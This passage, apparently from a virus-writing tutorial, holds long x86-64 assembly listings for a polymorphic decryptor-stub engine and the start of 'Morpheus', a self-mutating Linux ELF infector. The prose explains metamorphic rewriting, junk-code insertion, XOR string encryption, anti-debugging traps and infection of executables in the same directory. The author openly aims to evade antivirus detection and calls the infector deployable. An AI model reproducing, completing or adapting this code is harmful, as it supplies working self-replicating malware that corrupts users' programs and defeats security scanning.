 612    mov al, 0xC9
 613    stosb
 614
 615    ; jz done
 616    mov al, 0x74
 617    stosb
 618    mov al, 0x10
 619    stosb
 620
 621    ; xor [rsi],dl
 622    mov al, 0x30
 623    stosb
 624    mov al, 0x16
 625    stosb
 626
 627    ; rol rdx,7
 628    mov al, 0x48
 629    stosb
 630    mov al, 0xC1
 631    stosb
 632    mov al, 0xC2
 633    stosb
 634    mov al, 7
 635    stosb
 636
 637    ; inc rsi
 638    mov al, 0x48
 639    stosb
 640    mov al, 0xFF
 641    stosb
 642    mov al, 0xC6
 643    stosb
 644
 645    ; dec rcx
 646    mov al, 0x48
 647    stosb
 648    mov al, 0xFF
 649    stosb
 650    mov al, 0xC9
 651    stosb
 652
 653    ; jmp loop
 654    mov al, 0xEB
 655    stosb
 656    mov rax, r14
 657    sub rax, rdi
 658    sub rax, 1
 659    neg al
 660    stosb
 661
 662    ; copy to allocated memory
 663    ; mov rdi,rbx
 664    mov al, 0x48
 665    stosb
 666    mov al, 0x89
 667    stosb
 668    mov al, 0xDF
 669    stosb
 670
 671    ; calculate engine position
 672    mov rax, [rel p_entry]
 673    mov rbx, [rel stub_sz]
 674    add rax, rbx
 675
 676    ; RIP-relative offset
 677    mov rbx, rdi
 678    add rbx, 7
 679    sub rax, rbx
 680
 681    ; lea rsi,[rip+offset]
 682    mov al, 0x48
 683    stosb
 684    mov al, 0x8D
 685    stosb
 686    mov al, 0x35
 687    stosb
 688    stosd
 689
 690    ; mov rcx,engine_size
 691    mov al, 0x48
 692    stosb
 693    mov al, 0xC7
 694    stosb
 695    mov al, 0xC1
 696    stosb
 697    mov rax, [rel engine_size]
 698    test rax, rax
 699    jnz .engine_sz2
 700    mov rax, 256
 701.engine_sz2:
 702    stosd
 703
 704    ; rep movsb
 705    mov al, 0xF3
 706    stosb
 707    mov al, 0xA4
 708    stosb
 709
 710    mov al, RET_OPCODE
 711    stosb
 712
 713    ret
 714
 715bf_boo:
 716    push rbx
 717
 718    mov rax, rdi
 719    sub rax, [rel p_entry]
 720    add rax, 300
 721    cmp rax, [rel sz]
 722
 723    pop rbx
 724    ret
 725
 726; generate runtime keys
 727gen_runtm:
 728    push rbx
 729    push rcx
 730
 731    rdtsc                                       ; entropy from RDTSC
 732    shl rdx, 32
 733    or rax, rdx
 734    xor rax, [rel key]                          ; mix with user key
 735
 736    mov rbx, rsp                                ; stack entropy
 737    xor rax, rbx
 738
 739    call .get_rip                               ; RIP entropy
 740.get_rip:
 741    pop rbx
 742    xor rax, rbx
 743
 744    rol rax, 13
 745
 746    mov rbx, rax                                ; dynamic constant
 747    ror rbx, 19
 748    xor rbx, rsp
 749    add rax, rbx
 750
 751    mov rbx, rax                                ; dynamic XOR
 752    rol rbx, 7
 753    not rbx
 754    xor rax, rbx
 755
 756    mov [rel stub_key], rax
 757
 758    rol rax, 7                                  ; secondary key
 759    mov rbx, 0xCAFE0F00
 760    shl rbx, 32
 761    or rbx, 0xDEADC0DE
 762    xor rax, rbx
 763    mov [rel sec_key], rax
 764
 765    mov rax, [rel stub_key]                     ; ensure different from user key
 766    cmp rax, [rel key]
 767    jne .keys_different
 768    not rax
 769    mov [rel stub_key], rax
 770.keys_different:
 771
 772    pop rcx
 773    pop rbx
 774    ret
 775
 776; PRNG
 777next_random:
 778    push rdx
 779    mov rax, [rel seed]
 780    mov rdx, rax
 781    shl rdx, 13
 782    xor rax, rdx
 783    mov rdx, rax
 784    shr rdx, 17
 785    xor rax, rdx
 786    mov rdx, rax
 787    shl rdx, 5
 788    xor rax, rdx
 789    mov [rel seed], rax
 790    pop rdx
 791    ret
 792
 793random_range:
 794    push rdx
 795    call next_random
 796    pop rcx
 797    test rcx, rcx
 798    jz .range_zero
 799    xor rdx, rdx
 800    div rcx
 801    mov rax, rdx
 802    ret
 803.range_zero:
 804    xor rax, rax
 805    ret
 806
 807; random boolean
 808yes_no:
 809    call next_random
 810    and rax, 0xF
 811    cmp rax, 7
 812    setbe al
 813    movzx rax, al
 814    ret
 815
 816; select random registers
 817get_rr:
 818    call next_random
 819    and rax, 7
 820    cmp al, REG_RSP
 821    je get_rr
 822    cmp al, REG_RAX                             ; avoid rax as base
 823    je get_rr
 824    mov [rel reg_base], al
 825
 826.retry_count:
 827    call next_random
 828    and rax, 7
 829    cmp al, REG_RSP
 830    je .retry_count
 831    cmp al, REG_RAX                             ; avoid rax as count
 832    je .retry_count
 833    cmp al, [rel reg_base]
 834    je .retry_count
 835    mov [rel reg_count], al
 836
 837.retry_key:
 838    call next_random
 839    and rax, 7
 840    cmp al, REG_RSP
 841    je .retry_key
 842    cmp al, [rel reg_base]
 843    je .retry_key
 844    cmp al, [rel reg_count]
 845    je .retry_key
 846    mov [rel reg_key], al
 847
 848.retry_junk1:
 849    call next_random
 850    and rax, 15
 851    cmp al, REG_RSP
 852    je .retry_junk1
 853    mov [rel junk_reg1], al
 854
 855.retry_junk2:
 856    call next_random
 857    and rax, 15
 858    cmp al, REG_RSP
 859    je .retry_junk2
 860    cmp al, [rel junk_reg1]
 861    je .retry_junk2
 862    mov [rel junk_reg2], al
 863
 864.retry_junk3:
 865    call next_random
 866    and rax, 15
 867    cmp al, REG_RSP
 868    je .retry_junk3
 869    cmp al, [rel junk_reg1]
 870    je .retry_junk3
 871    cmp al, [rel junk_reg2]
 872    je .retry_junk3
 873    mov [rel junk_reg3], al
 874    ret
 875
 876; select algorithm
 877set_al:
 878    call next_random
 879    and rax, 3
 880    mov [rel alg0_dcr], al
 881    ret
 882
 883; generate prologue
 884gen_p:
 885    call gen_jmp
 886    call trash
 887    call yes_no
 888    test rax, rax
 889    jz .skip_trash1
 890    call trash
 891.skip_trash1:
 892
 893    ; mov reg_key,key
 894    call gen_jmp
 895    mov al, 0x48
 896    stosb
 897    mov al, 0xB8
 898    add al, [rel reg_key]
 899    stosb
 900    mov byte [rel prolog_set], 1
 901    mov rax, [rel key]
 902    stosq
 903
 904    call yes_no
 905    test rax, rax
 906    jz .skip_trash2
 907    call trash
 908.skip_trash2:
 909    ret
 910
 911; generate decrypt loop
 912gen_dec:
 913    mov [rel jmp_back], rdi
 914
 915    call trash
 916    call gen_jmp
 917
 918    ; mov reg_base,rdi (data pointer)
 919    mov al, 0x48
 920    stosb
 921    mov al, 0x89
 922    stosb
 923    mov al, 0xF8
 924    add al, [rel reg_base]
 925    stosb
 926
 927    call trash
 928    call gen_jmp
 929
 930    ; mov reg_count,rsi (size)
 931    mov al, 0x48
 932    stosb
 933    mov al, 0x89
 934    stosb
 935    mov al, 0xF0
 936    add al, [rel reg_count]
 937    stosb
 938
 939    call trash
 940    call gen_jmp
 941
 942.decr_loop:
 943    movzx rax, byte [rel alg0_dcr]
 944    cmp al, 0
 945    je .gen_algo_0
 946    cmp al, 1
 947    je .gen_algo_1
 948    cmp al, 2
 949    je .gen_algo_2
 950    jmp .gen_algo_3
 951
 952.gen_algo_0:
 953    ; add/rol/xor
 954    call gen_add_mem_key
 955    call trash
 956    call gen_trash
 957    call gen_rol_mem_16
 958    call trash
 959    call gen_trash
 960    call gen_xor_mem_key
 961    jmp .gen_loop_end
 962
 963.gen_algo_1:
 964    ; xor/rol/xor
 965    call gen_xor_mem_key
 966    call trash
 967    call gen_trash
 968    call gen_rol_mem_16
 969    call trash
 970    call gen_trash
 971    call gen_xor_mem_key
 972    jmp .gen_loop_end
 973
 974.gen_algo_2:
 975    ; sub/ror/xor
 976    call gen_sub_mem_key
 977    call trash
 978    call gen_trash
 979    call gen_ror_mem_16
 980    call trash
 981    call gen_trash
 982    call gen_xor_mem_key
 983    jmp .gen_loop_end
 984
 985.gen_algo_3:
 986    ; xor/add/xor
 987    call gen_xor_mem_key
 988    call trash
 989    call gen_trash
 990    call gen_add_mem_key
 991    call trash
 992    call gen_trash
 993    call gen_xor_mem_key
 994
 995.gen_loop_end:
 996    call trash
 997    call gen_jmp
 998
 999    mov al, ADD_REG_IMM8
1000    stosb
1001    mov al, 0xC0
1002    add al, [rel reg_base]
1003    stosb
1004    mov al, 8
1005    stosb
1006
1007    call trash
1008    call gen_jmp
1009
1010    ; generate DEC instruction
1011    movzx rax, byte [rel reg_count]
1012    cmp al, 8
1013    jb .dec_no_rex
1014    mov al, 0x49                                ; rex.wb for r8-r15
1015    stosb
1016    movzx rax, byte [rel reg_count]
1017    sub al, 8
1018    jmp .dec_encode
1019.dec_no_rex:
1020    mov al, 0x48                                ; rex.w for rax-rdi
1021    stosb
1022    movzx rax, byte [rel reg_count]
1023.dec_encode:
1024    mov ah, 0xFF
1025    xchg al, ah
1026    stosw
1027    mov al, 0xC8
1028    add al, [rel reg_count]
1029    and al, 7
1030    stosb
1031
1032    mov al, TEST_REG_REG
1033    stosb
1034    mov al, [rel reg_count]
1035    shl al, 3
1036    add al, [rel reg_count]
1037    add al, 0xC0
1038    stosb
1039
1040    mov ax, JNZ_LONG
1041    stosw
1042    mov rax, [rel jmp_back]
1043    sub rax, rdi
1044    sub rax, 4
1045    neg eax
1046    stosd
1047    ret
1048
1049; algorithm generators
1050gen_add_mem_key:
1051    call gen_jmp
1052    mov al, ADD_MEM_REG
1053    stosb
1054    mov dl, [rel reg_key]
1055    shl dl, 3
1056    mov al, [rel reg_base]
1057    add al, dl
1058    stosb
1059    ret
1060
1061gen_sub_mem_key:
1062    call gen_jmp
1063    mov al, 0x48
1064    stosb
1065    mov al, 0x29
1066    stosb
1067    mov dl, [rel reg_key]
1068    shl dl, 3
1069    mov al, [rel reg_base]
1070    add al, dl
1071    stosb
1072    ret
1073
1074gen_xor_mem_key:
1075    call gen_jmp
1076    mov ax, XOR_MEM_REG
1077    mov dl, [rel reg_key]
1078    shl dl, 3
1079    mov ah, [rel reg_base]
1080    add ah, dl
1081    stosw
1082    ret
1083
1084gen_rol_mem_16:
1085    call gen_jmp
1086    mov al, 0x48
1087    stosb
1088    mov ax, ROL_MEM_IMM
1089    add ah, [rel reg_base]
1090    stosw
1091    mov al, 16
1092    stosb
1093    ret
1094
1095gen_ror_mem_16:
1096    call gen_jmp
1097    mov al, 0x48
1098    stosb
1099    mov al, 0xC1
1100    stosb
1101    mov al, 0x08
1102    add al, [rel reg_base]
1103    stosb
1104    mov al, 16
1105    stosb
1106    ret
1107
1108; basic junk
1109trash:
1110    call yes_no
1111    test rax, rax
1112    jz .skip_push_pop
1113
1114    movzx rax, byte [rel junk_reg1]            ; push/pop junk
1115    cmp al, 8
1116    jb .push_no_rex
1117    mov al, 0x41
1118    stosb
1119    movzx rax, byte [rel junk_reg1]
1120    sub al, 8
1121.push_no_rex:
1122    add al, PUSH_REG
1123    stosb
1124
1125    movzx rax, byte [rel junk_reg2]
1126    cmp al, 8
1127    jb .pop_no_rex
1128    mov al, 0x41
1129    stosb
1130    movzx rax, byte [rel junk_reg2]
1131    sub al, 8
1132.pop_no_rex:
1133    add al, POP_REG
1134    stosb
1135.skip_push_pop:
1136
1137    call gen_jmp
1138    ret
1139
1140; jumps
1141gen_jmp:
1142    call yes_no
1143    test rax, rax
1144    jz .short_jmp
1145    mov al, JMP_REL32
1146    stosb
1147    mov eax, 1
1148    stosd
1149    call next_random
1150    and al, 0xFF
1151    stosb
1152    jmp .jmp_exit
1153.short_jmp:
1154    mov al, JMP_SHORT
1155    stosb
1156    mov al, 1
1157    stosb
1158    call next_random
1159    and al, 0xFF
1160    stosb
1161.jmp_exit:
1162    ret
1163
1164; self-modifying junk
1165gen_self:
1166    mov al, CALL_REL32
1167    stosb
1168    mov eax, 3
1169    stosd
1170    mov al, JMP_REL32
1171    stosb
1172    mov ax, 0x04EB
1173    stosw
1174
1175    call next_random
1176    and rax, 2
1177    lea rdx, [rel junk_reg1]
1178    movzx rdx, byte [rdx + rax]
1179
1180    mov al, POP_REG
1181    add al, dl
1182    stosb
1183    mov al, 0x48
1184    stosb
1185    mov al, 0xFF
1186    stosb
1187    mov al, 0xC0
1188    add al, dl
1189    stosb
1190    mov al, PUSH_REG
1191    add al, dl
1192    stosb
1193    mov al, RET_OPCODE
1194    stosb
1195    ret
1196
1197; advanced junk procedures
1198gen_trash:
1199    call yes_no
1200    test rax, rax
1201    jz .try_proc2
1202
1203    mov al, CALL_REL32
1204    stosb
1205    mov eax, 2
1206    stosd
1207    mov ax, 0x07EB
1208    stosw
1209    mov al, 0x55
1210    stosb
1211    mov al, 0x48
1212    stosb
1213    mov al, 0x89
1214    stosb
1215    mov al, 0xE5
1216    stosb
1217    mov ax, FNINIT_OPCODE
1218    stosw
1219    mov al, 0x5D
1220    stosb
1221    mov al, RET_OPCODE
1222    stosb
1223    jmp .exit_trash
1224
1225.try_proc2:
1226    call yes_no
1227    test rax, rax
1228    jz .try_proc3
1229
1230    mov al, CALL_REL32
1231    stosb
1232    mov eax, 2
1233    stosd
1234    mov ax, 0x0AEB
1235    stosw
1236    mov al, 0x60
1237    stosb
1238    mov eax, 0xD12BC333
1239    stosd
1240    mov eax, 0x6193C38B
1241    stosd
1242    mov al, 0x61
1243    stosb
1244    mov al, RET_OPCODE
1245    stosb
1246    jmp .exit_trash
1247
1248.try_proc3:
1249    call yes_no
1250    test rax, rax
1251    jz .exit_trash
1252
1253    mov al, CALL_REL32
1254    stosb
1255    mov eax, 2
1256    stosd
1257    mov eax, 0x525010EB
1258    stosd
1259    mov ax, 0xC069
1260    stosw
1261    mov eax, 0x90
1262    stosd
1263    mov al, 0x2D
1264    stosb
1265    mov eax, 0xDEADC0DE
1266    stosd
1267    mov ax, 0x585A
1268    stosw
1269    mov al, RET_OPCODE
1270    stosb
1271
1272.exit_trash:
1273    ret
1274
1275; dummy procedures
1276gen_dummy:
1277    call yes_no
1278    test rax, rax
1279    jz .skip_dummy
1280
1281    mov al, CALL_REL32
1282    stosb
1283    mov eax, 15
1284    stosd
1285
1286    mov al, 0x48
1287    stosb
1288    mov al, TEST_REG_REG
1289    stosb
1290    mov al, 0xC0
1291    stosb
1292
1293    mov al, JZ_SHORT
1294    stosb
1295    mov al, 8
1296    stosb
1297
1298    mov al, 0x55
1299    stosb
1300    mov al, 0x48
1301    stosb
1302    mov al, 0x89
1303    stosb
1304    mov al, 0xE5
1305    stosb
1306
1307    mov ax, FNINIT_OPCODE
1308    stosw
1309    mov ax, FNOP_OPCODE
1310    stosw
1311
1312    call next_random
1313    and rax, 0xFF
1314    mov al, 0x48
1315    stosb
1316    mov al, 0xB8
1317    stosb
1318    stosq
1319
1320    mov al, 0x5D
1321    stosb
1322    mov al, RET_OPCODE
1323    stosb
1324
1325.skip_dummy:
1326    ret
1327
1328; execute generated stub
1329exec_c:
1330    push rbp
1331    mov rbp, rsp
1332    sub rsp, 32
1333    push rbx
1334    push r12
1335    push r13
1336    push r14
1337    push r15
1338
1339    mov r12, rdi                                ; stub code
1340    mov r13, rsi                                ; stub size
1341    mov r14, rdx                                ; payload data
1342
1343    ; validate input
1344    test r12, r12
1345    jz .error
1346    test r13, r13
1347    jz .error
1348    cmp r13, 1
1349    jb .error
1350    cmp r13, 65536
1351    ja .error
1352
1353    mov rax, 9                                  ; mmap
1354    mov rdi, 0
1355    mov rsi, r13
1356    add rsi, 4096                               ; padding
1357    mov rdx, 0x7                                ; rwx
1358    mov r10, 0x22                               ; private|anon
1359    mov r8, -1
1360    mov r9, 0
1361    syscall
1362
1363    cmp rax, -1
1364    je .error
1365    test rax, rax
1366    jz .error
1367    mov rbx, rax
1368
1369    ; copy stub to executable memory
1370    mov rdi, rbx
1371    mov rsi, r12
1372    mov rcx, r13
1373    rep movsb
1374
1375    ; execute stub
1376    cmp rbx, 0x1000
1377    jb .error
1378    call rbx
1379
1380    ; cleanup
1381    mov rax, 11                                 ; munmap
1382    mov rdi, rbx
1383    mov rsi, r13
1384    add rsi, 4096
1385    syscall
1386
1387    mov rax, 1                                  ; success
1388    jmp .done
1389
1390.error:
1391    xor rax, rax
1392
1393.done:
1394    pop r15
1395    pop r14
1396    pop r13
1397    pop r12
1398    pop rbx
1399    add rsp, 32
1400    pop rbp
1401    ret

Current Limitations #

At present, it is strictly limited to Linux x64 because of direct syscall dependencies: the mmap usage is customized for Linux, and register conventions are bound to x64. Porting to Windows would require adapting calling conventions and likely rewriting large parts of the engine logic. macOS has its own syscall numbers and memory protection details, so it would not run with simple changes.

The algorithm set is deliberately limited to four variants. This scale is sufficient to prove the concept without making the system overly complex or fragile. Expanding to dozens of equivalent variants is feasible but significantly increases the risk of introducing bugs and requires careful balancing of complexity and correctness.

There is currently no runtime recompilation mechanism: each variant is generated once and remains static during execution. Self-modifying variants could further improve evasion but introduce instability and substantially raise implementation cost.

Future directions could include:

  • Adding a syscall abstraction layer for true cross-platform support (Linux, Windows, macOS).
  • Expanding the algorithm set and improving encryption/obfuscation (currently quite crude in this area).
  • Building a dynamic rewriting engine that supports self-modifying payloads.

Even in its current form, it has already achieved the core goals: functional correctness, deep signature diversity, entropy-driven key generation, intelligent junk injection, and multi-layered polymorphic structure. Implementation details can vary, but these foundational principles remain stable.

This is a foundational polymorphic engine, intentionally designed to be β€œusable and clear.” You can use it first to understand the core techniques, then build upon it. Once you internalize these layers of entropy, obfuscation, and instruction encoding, you can take it in any direction you choose.


What Truly Makes Code Mutable #

Metamorphic code is more than obfuscation β€” it rewrites itself. On every execution, it parses its own binary, locates mutable regions, and replaces them with semantically equivalent but syntactically different instruction sequences.

For a simple task like clearing a register, you can use XOR RAX, RAX, SUB RAX, RAX, MOV RAX, 0, or even PUSH 0; POP RAX. Same effect, different opcodes. To a static scanner, these are often unrelated.

A metamorphic engine exploits this by maintaining an instruction-level replacement catalog. Each iteration applies randomized transformations: register renaming, safe reordering of instructions, junk code insertion, and control-flow reconstruction. Logic remains unchanged, but layout continuously evolves.

Combined with replication propagation, each infected binary carries mutations from its β€œparent” and adds new mutations during infection. Over time, this creates a family of functionally equivalent but structurally distinct samples. No fixed signatures, no stable patterns β€” only continuous evolution at the opcode level. This is why it is often called β€œassembly heaven.”


Classic Reference: MetaPHOR #

In 2002, there was a very solid article dissecting metamorphic engine structure: The Mental Driller’s β€œHow I Made MetaPHOR and What I’ve Learned.” Yes, 2002 β€” ancient by today’s standards, but the core principles remain strikingly relevant. Some adaptation is needed for modern systems, but the underlying mechanisms are still solid.

Polymorphism focuses on camouflage: adjusting the decryptor, wrapping the payload, keeping the core static. Metamorphism discards the shell and directly modifies the interior. It disassembles complete code blocks, rewrites them from scratch, and reassembles the binary β€” producing new logical layouts, altered control flow, and shifted instruction patterns. Every landing looks different.

It is not just renaming registers or sprinkling NOPs. It is full-code-level mutation β€” deep structural churning that leaves no stable anchor points for static fingerprints.


β€” Disassembly and Shrinking β€” #

To mutate, a virus (VX) must first disassemble itself into an internal pseudo-assembly format β€” a custom abstraction layer that makes original opcodes readable and transformable. It breaks apart its instruction stream, decodes jumps, calls, and conditional branches, then maps control flow into manageable data structures.

After disassembly, the code is written into a memory buffer. Pointer tables are built for jump targets, call destinations, and other critical control elements to ensure relationships are not broken during rewriting.

Next comes the shrinker. This stage scans for bloated instruction sequences and compresses them into minimal equivalent forms.

Original InstructionCompressed InstructionDescription
MOV reg, regNOPDead operation with no effect
XOR reg, regMOV reg, 0Clear the register

The shrinker’s job is to trim fat: fold redundant chains, clean up leftovers, and free space for the next round of mutation.


β€” Permutation and Expansion β€” #

After shrinking comes the permutator. Its task is shuffling: reordering instructions and injecting entropy while keeping logic intact, making layout unpredictable.

It also replaces equivalent instructions: same result, different operation.

Following permutation is the expander β€” the opposite of the shrinker. It expands single instructions into equivalent two- or three-instruction sequences. Recursive expansion continuously increases code complexity.

Control variables impose hard limits to prevent unbounded growth.

Finally, the assembler finishes the job: it reassembles the mutated code back into valid machine code.

Only after completing this loop does the VX become a structurally unique but functionally complete new variant. Payload unchanged, appearance brand new.


β€” Generational Generation β€” #

You have seen how we do this in polymorphism: injecting junk code and replacing registers. Metamorphic thinking is similar but goes much deeper.

When the VX completes its self-rewrite in memory, it writes the new variant back to disk. Every execution produces a β€œnew copy” containing random junk code and rewritten logic.

The Art of Self-Mutating Malware


vx-junk-disasm #

Notice those JUNK macro calls? They are randomly scattered. Each is a marker β€” a hook point that can be safely modified. Smart Trash: deliberately useless, designed specifically to interfere with disassemblers and scanners.

We use a dedicated scanning function to handle them. It traverses the code, looks for PUSH/POP patterns on the same registers (spaced 8 bytes apart), and marks the hit locations. Once marked, these junk segments are overwritten with new, harmless, randomized replacement sequences.

This loop is the core. It hunts for JUNK sequences and replaces them with new random instruction chains on every run. Each JUNK call marks a modifiable slot β€” essentially a sandboxed code region for generational mutation. Behavior harmless, structure chaotic.

After mutation completes, the VX propagates by copying the new variant into executable files discovered in the same directory. The copy has changed structure but unchanged behavior. True polymorphic/metamorphic malware is not about β€œfooling AV once,” but about continuous mutation β€” reshaping the binary with every β€œbreath.” As long as logic remains intact and structure keeps changing, static detection struggles to gain a foothold.

This is only the minimal viable set, covering the key mechanisms. It demonstrates the core path that allows VX code to mutate and survive. There is much more to deeper content, but this is the foundation.


Morpheus #

Now it is time for the code I mentioned alongside Veil64 to make its appearance.

Morpheus applies metamorphic principles to a real, runnable virus infector. This is not a theoretical demonstration β€” it is practical and deployable. It shows how a mutation engine can work end-to-end without relying on encryptors or packers.

The core idea is simple: Morpheus treats its own executable code the way a crypter treats a payload. It loads itself into memory, scans for known patterns, applies transformations, then writes out a mutated version that accomplishes the same tasks with different instruction sequences.

On every run, Morpheus roughly does the following:

  • Extracts obfuscated strings and executes its logic
  • Loads its own .text section
  • Disassembles code blocks
  • Identifies mutation points (NOPs, junk patterns, simple MOV/XOR operations, etc.)
  • Applies transformations (register shuffling, instruction replacement, code block reordering or expansion)
  • Generates structurally different but logically consistent code
  • Writes the mutated binary to a new target (usually another ELF in the same directory)
  • Patches headers as needed to keep it executable

Every generation is truly different β€” not just added junk and register swaps, but substantive structural change β€” while the payload and functionality remain fully intact. This allows Morpheus to self-replicate on every execution, rendering static signature detection unreliable. Combined with runtime transformation and actual rewriting of files on disk, traditional scanning methods struggle to track it consistently.

Junk code is always a balancing act. In Veil64 we used relatively basic junk padding. Here is a 10-byte sequence that has zero net effect but can easily be mistaken for compiler-generated register preservation code:

Nasm
1PUSH RAX
2PUSH RBX
3XCHG RAX, RBX
4XCHG RAX, RBX
5POP RBX
6POP RAX

Morpheus makes heavy use of such sequences. The JUNK macro marks these blocks, and on every execution the engine scans and replaces them with structurally different but functionally equivalent junk patterns.

We implemented four register combinations for smart junk patterns. Each variant follows the same logic but uses different register pairs, producing unique byte sequences. These variants are functionally identical with zero side effects, yet their binary signatures change completely.


String Encryption #

All strings are encrypted to evade static signature detection. I used a simple XOR scheme: each string gets its own key, and decryption is a single XOR pass. Why XOR? Because it is fast.

Decryption runs once at startup. To add extra resistance, I included INT3 trap shellcode to disrupt debugger flow.


β€” Infection β€” #

During the infection stage, we scan the directory for ELF binaries. The scanner performs several basic checks to filter out garbage files and retain only viable ELF executable targets (regular files, no hidden files, valid ELF magic, executable and writable permissions).

Before any overwrite, it creates a hidden backup prefixed with .morph8. If the backup already exists, infection is skipped β€” acting as an β€œalready morphed” marker.


β€” Morpheus Engine β€” #

Nasm Total 1723 lines
   1;;
   2;;     M O R P H E U S   [ polymorphic ELF infector ]
   3;;     ------------------------------------------------
   4;;     stealth // mutation // syscall-only // junked //
   5;;     ------------------------------------------------
   6;;     0xBADC0DE // .morph8 // Linux x86_64 // 0xf00sec
   7;;
   8
   9%define PUSH 0x50
  10%define POP 0x58
  11%define MOV 0xB8
  12%define NOP 0x90
  13%define REX_W 0x48
  14%define XCHG_OP 0x87
  15%define XCHG_BASE 0xC0
  16
  17%define ADD_OP 0x01
  18%define AND_OP 0x21
  19%define XOR_OP 0x31
  20%define OR_OP 0x09
  21%define SBB_OP 0x19
  22%define SUB_OP 0x29
  23
  24%define JUNKLEN 10
  25
  26; push rax,rbx; xchg rax,rbx; xchg rax,rbx; pop rbx,rax
  27%macro JUNK 0
  28    db 0x50, 0x53, 0x48, 0x87, 0xC3, 0x48, 0x87, 0xC3, 0x5B, 0x58
  29%endmacro
  30
  31section .data
  32
  33; ELF header
  34ELF_MAGIC       dd 0x464C457F
  35ELF_CLASS64     equ 2
  36ELF_DATA2LSB    equ 1
  37ELF_VERSION     equ 1
  38ELF_OSABI_SYSV  equ 0
  39ET_EXEC         equ 2
  40ET_DYN          equ 3
  41EM_X86_64       equ 62
  42
  43prefixes db ADD_OP, AND_OP, XOR_OP, OR_OP, SBB_OP, SUB_OP, 0
  44
  45bin_name times 256 db 0
  46orig_exec_name times 256 db 0
  47msg_cat db " /\_/\ ",10
  48        db "( o.o )",10
  49        db " > ^ <",10,0                    ; payload
  50current_dir db "./",0
  51; encrypted strings
  52cmhd                db 0x36, 0x3D, 0x38, 0x3A, 0x31, 0x75, 0x7E, 0x2D, 0x75, 0x70, 0x26, 0x55     ; "chmod +x %s"
  53tchh                db 0xAF, 0xA4, 0xA1, 0xA3, 0xA8, 0xEC, 0xE7, 0xB4, 0xEC, 0xE9, 0xBF, 0xCC     ; "chmod +x %s"
  54touc                db 0xDE, 0xC5, 0xDF, 0xC9, 0xC2, 0x8A, 0x8F, 0xD9, 0xAA                         ; "touch %s"
  55cpcm                db 0x9C, 0x8F, 0xDF, 0xDA, 0x8C, 0xDF, 0xDA, 0x8C, 0xFF                         ; "cp %s %s"
  56hidd                db 0x59, 0x1A, 0x18, 0x05, 0x07, 0x1F, 0x4F, 0x77                               ; ".morph8"
  57exec                db 0x1D, 0x1C, 0x16, 0x40, 0x33                                                 ; "./%s"
  58vxxe                db 0xFE, 0xF0, 0xF0, 0x88                                                       ; "vxx"
  59
  60xor_keys            db 0xAA, 0x55, 0xCC, 0x33, 0xFF, 0x88, 0x77
  61vierge_val          db 1                                                                           ; first generation marker
  62signme              dd 0xF00C0DE                                                                   ; PRNG seed
  63
  64section .bss
  65    code            resb 65536      ; viral body
  66    codelen         resq 1
  67    vierge          resb 1          ; generation flag
  68    dir_buf         resb 4096
  69    temp_buf        resb 1024
  70    elf_header      resb 64
  71
  72; runtime decrypted strings
  73touch_cmd_fmt resb   32
  74chmod_cmd_fmt resb   32
  75touch_chmod_fmt resb 32
  76exec_cmd_fmt resb    32
  77cp_cmd_fmt resb      32
  78vxx_str resb         8
  79hidden_prefix resb   16
  80
  81section .text
  82    global _start
  83
  84%define SYS_read      0
  85%define SYS_write     1
  86%define SYS_open      2
  87%define SYS_close     3
  88%define SYS_exit      60
  89%define SYS_lseek     8
  90%define SYS_getdents64 217
  91%define SYS_access    21
  92%define SYS_getrandom 318
  93%define SYS_execve    59
  94%define SYS_fstat     5
  95%define SYS_mmap      9
  96%define SYS_brk       12
  97%define SYS_fork      57
  98%define SYS_wait4     61
  99
 100%define F_OK 0
 101%define X_OK 1
 102%define W_OK 2
 103
 104%define O_RDONLY 0
 105%define O_WRONLY 1
 106%define O_RDWR   2
 107%define O_CREAT  64
 108%define O_TRUNC  512
 109
 110%define PROT_READ  1
 111%define PROT_WRITE 2
 112%define MAP_PRIVATE 2
 113%define MAP_ANONYMOUS 32
 114
 115section .rodata
 116    shell_path db "/bin/sh",0
 117    sh_arg0 db "sh",0
 118    sh_arg1 db "-c",0
 119
 120; syscall wrappers with junk insertion
 121
 122sys_write:
 123    mov rax, SYS_write
 124    JUNK
 125    syscall
 126    ret
 127
 128sys_read:
 129    mov rax, SYS_read
 130    JUNK
 131    syscall
 132    ret
 133
 134sys_open:
 135    mov rax, SYS_open
 136    JUNK
 137    syscall
 138    ret
 139
 140sys_close:
 141    mov rax, SYS_close
 142    syscall
 143    ret
 144
 145sys_lseek:
 146    mov rax, SYS_lseek
 147    syscall
 148    ret
 149
 150sys_access:
 151    mov rax, SYS_access
 152    syscall
 153    ret
 154
 155sys_getdents64:
 156    mov rax, SYS_getdents64
 157    syscall
 158    ret
 159
 160sys_exit:
 161    mov rax, SYS_exit
 162    syscall
 163
 164; validate ELF executable target
 165is_elf:
 166    push r12
 167    push r13
 168
 169    mov rsi, O_RDONLY
 170    xor rdx, rdx
 171    call sys_open
 172    test rax, rax
 173    js .not_elf
 174    mov r12, rax
 175
 176    mov rdi, r12
 177    mov rsi, elf_header
 178    mov rdx, 64
 179    call sys_read
 180
 181    push rax
 182    mov rdi, r12
 183    call sys_close
 184    pop rax
 185
 186    cmp rax, 64
 187    jl .not_elf
 188
 189    ; validate ELF magic
 190    mov rsi, elf_header
 191    cmp dword [rsi], 0x464C457F
 192    jne .not_elf
 193
 194    ; 64-bit only
 195    cmp byte [rsi + 4], 2
 196    jne .not_elf
 197
 198    ; executable or shared object
 199    mov ax, [rsi + 16]
 200    cmp ax, 2
 201    je .valid
 202    cmp ax, 3
 203    jne .not_elf
 204
 205.valid:
 206    mov rax, 1
 207    jmp .done
 208
 209.not_elf:
 210    xor rax, rax
 211
 212.done:
 213    pop r13
 214    pop r12
 215    ret
 216
 217; string utilities
 218
 219basename:                           ; extract filename from path
 220    mov rax, rdi
 221    mov rsi, rdi
 222.find_last_slash:
 223    mov bl, [rsi]
 224    cmp bl, 0
 225    je .done
 226    cmp bl, '/'
 227    jne .next_char
 228    inc rsi
 229    mov rax, rsi
 230    jmp .find_last_slash
 231.next_char:
 232    inc rsi
 233    jmp .find_last_slash
 234.done:
 235    ret
 236
 237strlen:
 238    mov rdi, rdi
 239    xor rcx, rcx
 240.strlen_loop:
 241    cmp byte [rdi + rcx], 0
 242    je .strlen_done
 243    inc rcx
 244    jmp .strlen_loop
 245.strlen_done:
 246    mov rax, rcx
 247    ret
 248
 249strcpy:
 250    mov rdi, rdi
 251    mov rsi, rsi
 252    mov rax, rdi
 253.cp_loop:
 254    mov bl, [rsi]
 255    mov [rdi], bl
 256    inc rdi
 257    inc rsi
 258    cmp bl, 0
 259    jne .cp_loop
 260    ret
 261
 262strcmp:
 263    push rdi
